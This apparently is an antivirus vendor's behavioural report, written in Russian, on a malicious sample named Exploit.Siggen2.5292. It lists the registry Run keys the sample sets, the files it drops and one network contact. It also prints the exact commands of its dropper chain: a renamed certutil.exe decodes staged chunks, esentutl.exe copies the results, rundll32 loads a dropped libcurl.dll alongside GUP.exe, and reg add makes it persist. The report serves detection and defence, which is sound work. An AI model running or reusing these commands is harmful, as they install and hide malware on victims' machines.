Exploit.Siggen2.5292

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'CurlUpdate' = 'rundll32.exe C:\Users\Public\libcurl.dll,#52'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'CurlInit' = 'C:\Users\Public\GUP.exe'

Вредоносные функции

Создает и запускает на исполнение (эксплоит)

'C:\users\public\gup.exe'

Запускает на исполнение (эксплоит)

'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense31.txt>>%TEMP%\pense2.txt
'<SYSTEM32>\rundll32.exe' C:\Users\Public\\libcurl.dll,#52
'<SYSTEM32>\esentutl.exe' /y %LOCALAPPDATA%\Tempsodom.txt /d C:\Users\Public\\sodom.txt /o
'<SYSTEM32>\esentutl.exe' /y %LOCALAPPDATA%\TempGUP2.txt /d C:\Users\Public\\libcurl.dll /o
'<SYSTEM32>\esentutl.exe' /y %LOCALAPPDATA%\TempGUP.txt /d C:\Users\Public\\GUP.exe /o
'<SYSTEM32>\cmd.exe' /c %LOCALAPPDATA%\Temptcm.tmp -decode %TEMP%\sodom.txt %LOCALAPPDATA%\Tempsodom.txt
'<SYSTEM32>\cmd.exe' /c %LOCALAPPDATA%\Temptcm.tmp -decode %TEMP%\pense2.txt %LOCALAPPDATA%\TempGUP2.txt
'<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurlUpdate /f /d "rundll32.exe C:\Users\Public\libcurl.dll,#52"
'<SYSTEM32>\cmd.exe' /c %LOCALAPPDATA%\Temptcm.tmp -decode %TEMP%\pense1.txt %LOCALAPPDATA%\TempGUP.txt
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense37.txt>>%TEMP%\pense2.txt
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense36.txt>>%TEMP%\pense2.txt
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense35.txt>>%TEMP%\pense2.txt
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense34.txt>>%TEMP%\pense2.txt
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense33.txt>>%TEMP%\pense2.txt
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense32.txt>>%TEMP%\pense2.txt
'<SYSTEM32>\cmd.exe' /c copy %WINDIR%\\system32\\certutil.exe %LOCALAPPDATA%\Temptcm.tmp
'<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurlInit /f /d "C:\Users\Public\GUP.exe"

Изменения в файловой системе

Создает следующие файлы

%TEMP%\pense1.txt
C:\users\public\gup.exe
%LOCALAPPDATA%\tempsodom.txt
%LOCALAPPDATA%\tempgup2.txt
%LOCALAPPDATA%\tempgup.txt
%LOCALAPPDATA%\temptcm.tmp
%TEMP%\pense2.txt
C:\users\public\libcurl.dll
%TEMP%\sodom.txt
%TEMP%\pense36.txt
%TEMP%\pense35.txt
%TEMP%\pense34.txt
%TEMP%\pense33.txt
%TEMP%\pense32.txt
%TEMP%\pense31.txt
%TEMP%\pense37.txt
C:\users\public\sodom.txt

Сетевая активность

Подключается к

'10#.#53.41.45':80

Другое

Создает и запускает на исполнение

'%LOCALAPPDATA%\temptcm.tmp' -decode %TEMP%\sodom.txt %LOCALAPPDATA%\Tempsodom.txt
'%LOCALAPPDATA%\temptcm.tmp' -decode %TEMP%\pense2.txt %LOCALAPPDATA%\TempGUP2.txt
'%LOCALAPPDATA%\temptcm.tmp' -decode %TEMP%\pense1.txt %LOCALAPPDATA%\TempGUP.txt
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense31.txt>>%TEMP%\pense2.txt' (со скрытым окном)
'<SYSTEM32>\rundll32.exe' C:\Users\Public\\libcurl.dll,#52' (со скрытым окном)
'C:\users\public\gup.exe' ' (со скрытым окном)
'<SYSTEM32>\esentutl.exe' /y %LOCALAPPDATA%\Tempsodom.txt /d C:\Users\Public\\sodom.txt /o' (со скрытым окном)
'<SYSTEM32>\esentutl.exe' /y %LOCALAPPDATA%\TempGUP2.txt /d C:\Users\Public\\libcurl.dll /o' (со скрытым окном)
'<SYSTEM32>\esentutl.exe' /y %LOCALAPPDATA%\TempGUP.txt /d C:\Users\Public\\GUP.exe /o' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c %LOCALAPPDATA%\Temptcm.tmp -decode %TEMP%\sodom.txt %LOCALAPPDATA%\Tempsodom.txt' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c %LOCALAPPDATA%\Temptcm.tmp -decode %TEMP%\pense2.txt %LOCALAPPDATA%\TempGUP2.txt' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c %LOCALAPPDATA%\Temptcm.tmp -decode %TEMP%\pense1.txt %LOCALAPPDATA%\TempGUP.txt' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c copy %WINDIR%\\system32\\certutil.exe %LOCALAPPDATA%\Temptcm.tmp' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense37.txt>>%TEMP%\pense2.txt' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense36.txt>>%TEMP%\pense2.txt' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense35.txt>>%TEMP%\pense2.txt' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense34.txt>>%TEMP%\pense2.txt' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense33.txt>>%TEMP%\pense2.txt' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c type %TEMP%\pense32.txt>>%TEMP%\pense2.txt' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurlUpdate /f /d "rundll32.exe C:\Users\Public\libcurl.dll,#52"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurlInit /f /d "C:\Users\Public\GUP.exe"' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurlUpdate /f /d "rundll32.exe C:\Users\Public\libcurl.dll,#52"
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurlInit /f /d "C:\Users\Public\GUP.exe"